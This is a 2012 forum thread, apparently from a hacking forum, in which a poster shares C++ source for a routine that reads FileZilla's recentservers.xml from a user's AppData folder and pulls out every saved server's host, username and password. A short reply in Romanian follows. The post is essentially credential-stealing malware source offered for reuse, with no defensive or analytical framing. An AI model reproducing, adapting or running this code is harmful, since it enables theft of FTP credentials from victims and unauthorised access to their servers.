io.kent Posted August 28, 2012 Report Posted August 28, 2012 // *****************************************************************************// * CPP: CPP_GetFileZillaAccounts// * AUTOR: Fakedo0r .:PD-TEAM:.// * FECHA: 27.08.2012// * CORREO: Luvel88@gmail.com// * BLOG: Sub-Soul.blogspot.com / Sub-Soul.com// * REQUERIMIENTOS: Librerias Estandar EMBARCADERO XE2// *****************************************************************************// *****************************************************************************// <--- #INCLUDE --->// *****************************************************************************#include "CPP_GetFileZillaAccounts.h"#include <Shlobj.h>#include <System.hpp>#include <SysUtils.hpp>#include <StrUtils.hpp>#include <vector>// *****************************************************************************// <--- DECLARACION DE FUNCIONES / PROCEDIMIENTOS --->// *****************************************************************************Boolean IsFileExists(String sFile);String ReadFileAPI(String sFile);String GetSpecialFolderAPI(int iCSDL);String ByteArrayToString(std::vector<Byte>vbArray);String StrCenter(String sCadena, String sDel_1, String sDel_2);std::vector<String>GetFileZilaAccounts(String sSepInt);std::vector<String>Split(String sCadena, String sDelimitador);// *****************************************************************************// <--- RECUPERA LAS CUENTAS DE FILEZILLA --->// *****************************************************************************std::vector<String>GetFileZilaAccounts(String sSepInt) { int I; String sPath; String sHost; String sUser; String sPass; String sAccounts; std::vector<String>vsAcoounts; std::vector<String>vsTemp; sPath = GetSpecialFolderAPI(CSIDL_APPDATA) + "\FileZilla\recentservers.xml"; if (IsFileExists(sPath) == false) { exit; } sAccounts = ReadFileAPI(sPath); sAccounts = StrCenter(sAccounts, "<RecentServers>", "</RecentServers>"); vsAcoounts = Split(sAccounts, "<Server>"); for (I = 1; I < vsAcoounts.size(); I++) { sHost = StrCenter(vsAcoounts[I], "<Host>", "</Host>"); sUser = StrCenter(vsAcoounts[I], "<User>", "</User>"); sPass = StrCenter(vsAcoounts[I], "<Pass>", "</Pass>"); vsTemp.push_back(sHost + sSepInt + sUser + sSepInt + sPass); } return vsTemp;}// *****************************************************************************// <--- OBTIENE RUTAS ESPECIALES --->// *****************************************************************************String GetSpecialFolderAPI(int iCSDL) { wchar_t pszPath[MAX_PATH]; ITEMIDLIST * tIDL; HRESULT hRet = SHGetSpecialFolderLocation(0, iCSDL, &tIDL); if (hRet != NOERROR) { return 0; } SHGetPathFromIDList(tIDL, pszPath); return String(pszPath);}// *****************************************************************************// <--- COMPRUEBA SI EL FICHERO EXISTE --->// *****************************************************************************Boolean IsFileExists(String sFile) { HRESULT hRes = GetFileAttributes(sFile.w_str()); if (hRes == INVALID_FILE_ATTRIBUTES) { return false; } else { return true; }}// *****************************************************************************// <--- LECTURA --->// *****************************************************************************String ReadFileAPI(String sFile) { DWORD dwRet = 0; int iSize = 0; HANDLE hFile; std::vector<Byte>vbBuffer; hFile = CreateFile(UnicodeString(sFile).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return 0; } iSize = GetFileSize(hFile, 0); vbBuffer.resize(iSize); SetFilePointer(hFile, 0, NULL, FILE_BEGIN); ReadFile(hFile, &vbBuffer[0], iSize, &dwRet, NULL); CloseHandle(hFile); return ByteArrayToString(vbBuffer);}// *****************************************************************************// <--- CONVIERTE ARRAY DE BYTES EN STRING --->// *****************************************************************************String ByteArrayToString(std::vector<Byte>vbArray) { String sResult; Integer I; sResult.SetLength(vbArray.size()); for (I = 0; I < vbArray.size(); I++) { sResult[I + 1] = vbArray[I]; } return sResult;}// *****************************************************************************// <--- SPLIT --->// *****************************************************************************std::vector<String>Split(String sCadena, String sDelimitador) { int I; std::vector<String>vsTemp; for (I = 0; I < sCadena.Length(); I++) { if (Pos(sDelimitador, sCadena) == 0) { vsTemp.push_back(MidStr(AnsiString(sCadena), 1, sCadena.Length())); return vsTemp; } else { vsTemp.push_back(MidStr(AnsiString(sCadena), 1, Pos(sDelimitador, sCadena) - 1)); sCadena = MidStr(AnsiString(sCadena), vsTemp[I].Length() + sDelimitador.Length() + 1, sCadena.Length() - sDelimitador.Length()); } } return vsTemp;}// *****************************************************************************// <--- OBTIENE LA CADENA CENTRAL --->// *****************************************************************************String StrCenter(String sCadena, String sDel_1, String sDel_2) { String sTemp; sTemp = MidStr(AnsiString(sCadena), Pos(sDel_1, sCadena) + sDel_1.Length(), sCadena.Length() - Pos(sDel_2, sTemp)); sTemp = MidStr(AnsiString(sTemp), 1, AnsiPos(sDel_2, sTemp) - 1); return sTemp;} Quote
adonisslanic Posted September 3, 2012 Report Posted September 3, 2012 Umm... pe serverul tau cu php? :\ Quote